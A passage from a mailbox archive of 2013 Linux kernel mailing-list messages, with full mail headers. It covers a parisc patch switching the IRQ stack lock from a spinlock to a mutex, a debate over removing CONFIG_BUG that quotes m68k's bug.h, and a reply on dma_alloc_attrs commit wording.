> Running off the end of a function like that is a different kettle of fish.
> The execution path is still as the compiler intends - what isn't is that
> the data returned is likely to be random trash.
>
> That's _quite_ different from the CPU starting to execute the contents
> of a literal data pool.

I agree it's best to e.g. trap and reboot.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix irq stack on UP and SMP
Date: Thu, 23 May 2013 23:52:50 +0200
Lines: 152
Approved: news@gmane.org
Message-ID: <20130523215250.GA17564@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369345977 520 80.91.229.3 (23 May 2013 21:52:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 21:52:57 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 23 23:52:56 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UfdRP-0001ZT-0s
	for glpp-linux-parisc@plane.gmane.org; Thu, 23 May 2013 23:52:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759646Ab3EWVwy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 May 2013 17:52:54 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:59375 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759642Ab3EWVwx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 May 2013 17:52:53 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.12]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0Mg20J-1Us5eD11M5-00NTAD for
 <linux-parisc@vger.kernel.org>; Thu, 23 May 2013 23:52:52 +0200
Original-Received: (qmail invoked by alias); 23 May 2013 21:52:51 -0000
Original-Received: from p54AD0246.dip0.t-ipconnect.de (EHLO p100.box) [84.173.2.70]
  by mail.gmx.net (mp012) with SMTP; 23 May 2013 23:52:51 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18OcNZ7bjUOeAEcGaKE9J45GEm37yG3+Y+WIu4WVp
	PlacNl9T7/rsIU
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5070
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5070>

The logic to detect if the irq stack was already in use with
raw_spin_trylock() is wrong, because it will generate a "trylock failure
on UP" error message with CONFIG_SMP=n and CONFIG_DEBUG_SPINLOCK=y.

arch_spin_trylock() can't be used either since in the CONFIG_SMP=n case
no atomic protection is given and we are reentrant here.

Now we will use a mutex instead, which is safe on UP and SMP.

Counting how often the irq stack was used is pretty useless, so just
drop this piece of code.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/hardirq.h b/arch/parisc/include/asm/hardirq.h
index 4c6dd8d..241c345 100644
--- a/arch/parisc/include/asm/hardirq.h
+++ b/arch/parisc/include/asm/hardirq.h
@@ -17,13 +17,8 @@
 
 typedef struct {
 	unsigned int __softirq_pending;
-#ifdef CONFIG_DEBUG_STACKOVERFLOW
 	unsigned int kernel_stack_usage;
-#ifdef CONFIG_IRQSTACKS
 	unsigned int irq_stack_usage;
-	unsigned int irq_stack_counter;
-#endif
-#endif
 #ifdef CONFIG_SMP
 	unsigned int irq_resched_count;
 	unsigned int irq_call_count;
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cfbc439..cc2290a 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -17,7 +17,6 @@
 #include <asm/ptrace.h>
 #include <asm/types.h>
 #include <asm/percpu.h>
-
 #endif /* __ASSEMBLY__ */
 
 /*
@@ -59,26 +58,6 @@
 #ifndef __ASSEMBLY__
 
 /*
- * IRQ STACK - used for irq handler
- */
-#ifdef __KERNEL__
-
-#include <linux/spinlock_types.h>
-
-#define IRQ_STACK_SIZE      (4096 << 2) /* 16k irq stack size */
-
-union irq_stack_union {
-	unsigned long stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
-	raw_spinlock_t lock;
-};
-
-DECLARE_PER_CPU(union irq_stack_union, irq_stack_union);
-
-void call_on_stack(unsigned long p1, void *func, unsigned long new_stack);
-
-#endif /* __KERNEL__ */
-
-/*
  * Data detected about CPUs at boot time which is the same for all CPU's.
  * HP boxes are SMP - ie identical processors.
  *
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 9c2d953..88ba8a8 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -27,7 +27,7 @@
 #include <linux/interrupt.h>
 #include <linux/kernel_stat.h>
 #include <linux/seq_file.h>
-#include <linux/spinlock.h>
+#include <linux/mutex.h>
 #include <linux/types.h>
 #include <asm/io.h>
 
@@ -172,10 +172,6 @@ int arch_show_interrupts(struct seq_file *p, int prec)
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_stack_usage);
 	seq_puts(p, "  Interrupt stack usage\n");
-	seq_printf(p, "%*s: ", prec, "ISC");
-	for_each_online_cpu(j)
-		seq_printf(p, "%10u ", irq_stats(j)->irq_stack_counter);
-	seq_puts(p, "  Interrupt stack usage counter\n");
 # endif
 #endif
 #ifdef CONFIG_SMP
@@ -384,6 +380,23 @@ static inline int eirr_to_irq(unsigned long eirr)
 	return (BITS_PER_LONG - bit) + TIMER_IRQ;
 }
 
+#ifdef CONFIG_IRQSTACKS
+/*
+ * IRQ STACK - used for irq handler
+ */
+#define IRQ_STACK_SIZE      (4096 << 2) /* 16k irq stack size */
+
+union irq_stack_union {
+	unsigned long stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
+	struct mutex lock;
+};
+
+DEFINE_PER_CPU(union irq_stack_union, irq_stack_union) = {
+		.lock = __MUTEX_INITIALIZER(irq_stack_union.lock),
+	};
+#endif
+
+
 int sysctl_panic_on_stackoverflow = 1;
 
 static inline void stack_overflow_check(struct pt_regs *regs)
@@ -450,15 +463,14 @@ panic_check:
 }
 
 #ifdef CONFIG_IRQSTACKS
-DEFINE_PER_CPU(union irq_stack_union, irq_stack_union) = {
-		.lock = __RAW_SPIN_LOCK_UNLOCKED((irq_stack_union).lock)
-	};
+/* in entry.S: */
+void call_on_stack(unsigned long p1, void *func, unsigned long new_stack);
 
 static void execute_on_irq_stack(void *func, unsigned long param1)
 {
 	union irq_stack_union *union_ptr;
 	unsigned long irq_stack;
-	raw_spinlock_t *irq_stack_in_use;
+	struct mutex *irq_stack_in_use;
 
 	union_ptr = &per_cpu(irq_stack_union, smp_processor_id());
 	irq_stack = (unsigned long) &union_ptr->stack;
@@ -470,7 +482,7 @@ static void execute_on_irq_stack(void *func, unsigned long param1)
 	 * the irq stack usage.
 	 */
 	irq_stack_in_use = &union_ptr->lock;
-	if (!raw_spin_trylock(irq_stack_in_use)) {
+	if (!mutex_trylock(irq_stack_in_use)) {
 		void (*direct_call)(unsigned long p1) = func;
 
 		/* We are using the IRQ stack already.
@@ -482,10 +494,8 @@ static void execute_on_irq_stack(void *func, unsigned long param1)
 	/* This is where we switch to the IRQ stack. */
 	call_on_stack(param1, func, irq_stack);
 
-	__inc_irq_stat(irq_stack_counter);

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since always
 need it.
Date: Fri, 24 May 2013 10:13:35 +0800
Lines: 99
Approved: news@gmane.org
Message-ID: <519ECCCF.8090909@asianux.com>
References: <519DCBEF.3090208@asianux.com> <201305231259.43750.arnd@arndb.de>
 <20130523112401.GO18614@n2100.arm.linux.org.uk>
 <201305231409.02359.arnd@arndb.de>
 <20130523125033.GP18614@n2100.arm.linux.org.uk>
 <CAMuHMdUzcBuDupe4Fa6XieziGPMpPKC_k8X8gUUmDvLJ+Fe=Hg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369361719 15334 80.91.229.3 (24 May 2013 02:15:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 May 2013 02:15:19 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 uml-devel <user-mode-linux-devel@lists.sourceforge.net>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?UTF-8?B?SMOldmFyZCBTa2lubmVtb2Vu?= <hskinnemoen@gmail.com>,
 Serge Hallyn <serge.hall
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org Fri May 24 04:15:14 2013
Return-path: <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppd-linuxppc64-dev@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org>)
	id 1UfhXF-0007jD-01
	for glppd-linuxppc64-dev@m.gmane.org; Fri, 24 May 2013 04:15:13 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 9393C2C0326
	for <glppd-linuxppc64-dev@m.gmane.org>; Fri, 24 May 2013 12:15:11 +1000 (EST)
Original-Received: from intranet.asianux.com (intranet.asianux.com [58.214.24.6])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (Client did not present a certificate)
 by ozlabs.org (Postfix) with ESMTPS id C7C362C00A1
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 24 May 2013 12:14:36 +1000 (EST)
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
 id 7B5521840353; Fri, 24 May 2013 10:14:31 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
 RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by intranet.asianux.com (Postfix) with ESMTP id 038C81840251;
 Fri, 24 May 2013 10:14:25 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
 rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <CAMuHMdUzcBuDupe4Fa6XieziGPMpPKC_k8X8gUUmDvLJ+Fe=Hg@mail.gmail.com>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc64.devel:91012 gmane.linux.ports.sh.devel:23195 gmane.linux.kernel.cross-arch:18034 gmane.linux.uml.devel:13932 gmane.linux.uml.user:14488 gmane.linux.hardware.blackfin.kernel.devel:7102 gmane.linux.ports.arm.kernel:238709 gmane.linux.ports.parisc:5071 gmane.linux.kernel:1496057 gmane.linux.ports.hexagon:593
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc64.devel/91012>

On 05/23/2013 10:10 PM, Geert Uytterhoeven wrote:
> On Thu, May 23, 2013 at 2:50 PM, Russell King - ARM Linux
> <linux@arm.linux.org.uk> wrote:
>> > On Thu, May 23, 2013 at 02:09:02PM +0200, Arnd Bergmann wrote:
>>> >> On Thursday 23 May 2013, Russell King - ARM Linux wrote:
>>>> >> > This is the problem you guys are missing - unreachable() means "we lose
>>>> >> > control of the CPU at this point".
>>> >>
>>> >> I'm absolutely aware of this. Again, the current behaviour of doing nothing
>>> >> at all isn't very different from undefined behavior when you get when you
>>> >> get to the end of a function returning a pointer without a "return" statement,
>>> >> or when you return from a function that has determined that it is not safe
>>> >> to continue.
>> >
>> > Running off the end of a function like that is a different kettle of fish.
>> > The execution path is still as the compiler intends - what isn't is that
>> > the data returned is likely to be random trash.
>> >
>> > That's _quite_ different from the CPU starting to execute the contents
>> > of a literal data pool.
> I agree it's best to e.g. trap and reboot.

After read the arch/*/include/asm/bug.h,

It seems panic() is not suitable for NOMMU platforms (only m68k use it,
also need CONFIG_BUG and CONFIG_SUN3 enabled).

And unreachable() is need followed with an asm inline instruction (arm,
x86, powerpc mips...).

And __builtin_trap() is "the mechanism used may vary from release to
release so should not rely on any particular implementation" (ref to
"http://gcc.gnu.org/onlinedocs/gcc/Other-Builtins.html", used by m68k,
sparc, ia64).

I can not find any *trap*() and *unreachable*() in "include/asm-generic/"

I can not find any suitable implementation which 'generic' enough to add
in "include/asm-generic/" (and in fact, CONFIG_BUG itself is not
'generic' enough to be in "include/asm-generic/").


At last, I still suggest to delete CONFIG_BUG, so most of architectures
can skip this issue firstly.

Then for specific architectures, also can get 3 benefits:

a. the related maintainers can implement it as their own willing (not
need discus it with another platform maintainers again);

b. the related maintainers can free use the platform specific features
(which can not be used in "include/asm-generic/");

c. the related maintainers are more familiar their own architectures
demands and requirements.



----------- arch/m68k/include/asm/bug.h --------------------------------

  1 #ifndef _M68K_BUG_H
  2 #define _M68K_BUG_H
  3
  4 #ifdef CONFIG_MMU
  5 #ifdef CONFIG_BUG
  6 #ifdef CONFIG_DEBUG_BUGVERBOSE
  7 #ifndef CONFIG_SUN3
  8 #define BUG() do { \
  9         printk("kernel BUG at %s:%d!\n", __FILE__, __LINE__); \
 10         __builtin_trap(); \
 11 } while (0)
 12 #else
 13 #define BUG() do { \
 14         printk("kernel BUG at %s:%d!\n", __FILE__, __LINE__); \
 15         panic("BUG!"); \
 16 } while (0)
 17 #endif
 18 #else
 19 #define BUG() do { \
 20         __builtin_trap(); \
 21 } while (0)
 22 #endif
 23
 24 #define HAVE_ARCH_BUG
 25 #endif
 26 #endif /* CONFIG_MMU */
 27
 28 #include <asm-generic/bug.h>
 29
 30 #endif




Thanks.
-- 
Chen Gang

Asianux Corporation

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 0/4] dma-mapping: Define dma_{alloc,free}_attrs() for
 all archs
Date: Fri, 24 May 2013 11:52:22 +0900
Lines: 35
Approved: news@gmane.org
Message-ID: <519ED5E6.7040506@igel.co.jp>
References: <1367290899-10410-1-git-send-email-dhobsong@igel.co.jp> <519C2F5D.8000809@igel.co.jp> <20130522094741.GE14322@arm.com> <519D8331.3060203@igel.co.jp> <20130523094709.GB16722@arm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369363956 1588 80.91.229.3 (24 May 2013 02:52:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 May 2013 02:52:36 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Will Deacon <Will.Deacon@arm.com>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"msalter@redhat.com" <msalter@redhat.com>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Catalin Marinas <catalin.marinas@arm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri May 24 04:52:32 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Ufi7M-0006Sg-CN
	for glk-linux-kernel-3@plane.gmane.org; Fri, 24 May 2013 04:52:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759972Ab3EXCwY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 23 May 2013 22:52:24 -0400
Original-Received: from mail-pa0-f49.google.com ([209.85.220.49]:45295 "EHLO
	mail-pa0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759699Ab3EXCwW (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 23 May 2013 22:52:22 -0400
Original-Received: by mail-pa0-f49.google.com with SMTP id bi5so3757695pad.36
        for <linux-kernel@vger.kernel.org>; Thu, 23 May 2013 19:52:22 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding:x-gm-message-state;
        bh=0Gn5mUzvYfg+MMfVButBnpdnTYzvyhlGHajOMnjoWJ4=;
        b=KBPoc3uR1CYF+YTyg0y9mbuD4SzpF0vwefzW1Hd/A6xQvhKXpAWrM/NT+4rPUGDxrm
         q4WNFKGO/i8Vsce8EyfvsGYZXbm8K3ZeDG/JvvnG+q3ejB18CDcW+3UrdrRP+L6bCqsU
         PwmC52vbUbGbzCAYHtR5E9zzWv0aDlP7O9VEYrcSBL4G0ZNRy5wKPvJGiw3PR0ui6lSp
         Cr1vYP/ZNH0dVvYCMKMIqCswszWdxQOnBM4Z+41ThHAfy2OC5jqWOYaFOvg01YRak13A
         7kxaGJObX28P1/BxGekiRwJcffkmo8bGkXC4q7k3hxEuef69kysaH/ikMload2O/HBaS
         jNlw==
X-Received: by 10.66.218.200 with SMTP id pi8mr16230577pac.40.1369363941922;
        Thu, 23 May 2013 19:52:21 -0700 (PDT)
Original-Received: from [10.16.129.176] ([219.106.231.132])
        by mx.google.com with ESMTPSA id gc5sm14160263pbb.19.2013.05.23.19.52.19
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Thu, 23 May 2013 19:52:21 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130509 Thunderbird/17.0.6
In-Reply-To: <20130523094709.GB16722@arm.com>
X-Enigmail-Version: 1.5.1
X-Gm-Message-State: ALoCoQnX8v8jUVj/ttigttlvsxazcdmMDhFbVnaDnwq+wQ+3wB4/PpxNzwpvc30B/OcK6f1UDWzr
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1496062 gmane.linux.ports.arm.kernel:238714 gmane.linux.ports.parisc:5072
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1496062>

On 2013/05/23 18:47, Catalin Marinas wrote:
> On Thu, May 23, 2013 at 03:47:13AM +0100, Damian Hobson-Garcia wrote:
>> Hi Catalin,
>> On 2013/05/22 18:47, Catalin Marinas wrote:
>>> On Wed, May 22, 2013 at 03:37:17AM +0100, Damian Hobson-Garcia wrote:
>>>> Hello,
>>>> On 2013/04/30 12:01, Damian Hobson-Garcia wrote:
>>>>> Most architectures that define CONFIG_HAVE_DMA=y, have implementations for
>>>>> both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
>>>>> not define CONFIG_HAVE_DMA also have both of these definitions provided by
>>>>> dma-mapping-broken.h.
>>>
>>> BTW, shouldn't this be called CONFIG_HAVE_DMA_ATTRS?
>>
>> CONFIG_HAVE_DMA_ATTRS is currently used to enable the functions to
>> set/get the DMA attribute values. Poking through the headers, it looks
>> like the struct dma_attrs is defined regardless of the
>> CONFIG_HAVE_DMA_ATTRS setting, so in that respect
>> we always seem to "have" DMA attributes (if we have DMA), but they may
>> not always be meaningful (ie. set to some value).
> 
> My point was about the commit log - grep'ing the kernel for
> CONFIG_HAVE_DMA did not return anything.
> 

Oh yes, my mistake.  It should be CONFIG_HAS_DMA instead of
CONFIG_HAVE_DMA.  I'll update it.

Damian


-- 
Damian Hobson-Garcia
IGEL Co.,Ltd
http://www.igel.co.jp

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since always
 need it.
Date: Fri, 24 May 2013 12:17:26 +0800
Lines: 123
Approved: news@gmane.org
Message-ID: <519EE9D6.9010707@asianux.com>
References: <519DCBEF.3090208@asianux.com> <201305231259.43750.arnd@arndb.de>
 <20130523112401.GO18614@n2100.arm.linux.org.uk>
 <201305231409.02359.arnd@arndb.de>
 <20130523125033.GP18614@n2100.arm.linux.org.uk>
 <CAMuHMdUzcBuDupe4Fa6XieziGPMpPKC_k8X8gUUmDvLJ+Fe=Hg@mail.gmail.com>
 <519ECCCF.8090909@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369369139 13123 80.91.229.3 (24 May 2013 04:18:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 May 2013 04:18:59 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 uml-devel <user-mode-linux-devel@lists.sourceforge.net>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?UTF-8?B?SMOldmFyZCBTa2lubmVtb2Vu?= <hskinnemoen@gmail.com>,
 Serge Hallyn <serge.hall
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri May 24 06:18:54 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UfjSv-0005p0-JC
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 24 May 2013 06:18:54 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 4893C2C03C2
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 24 May 2013 14:18:50 +1000 (EST)
Original-Received: from intranet.asianux.com (intranet.asianux.com [58.214.24.6])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (Client did not present a certificate)
 by ozlabs.org (Postfix) with ESMTPS id EA4982C016A
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 24 May 2013 14:18:26 +1000 (EST)
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
 id 634691840337; Fri, 24 May 2013 12:18:20 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
 RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by intranet.asianux.com (Postfix) with ESMTP id 434981840251;
 Fri, 24 May 2013 12:18:16 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
 rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <519ECCCF.8090909@asianux.com>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
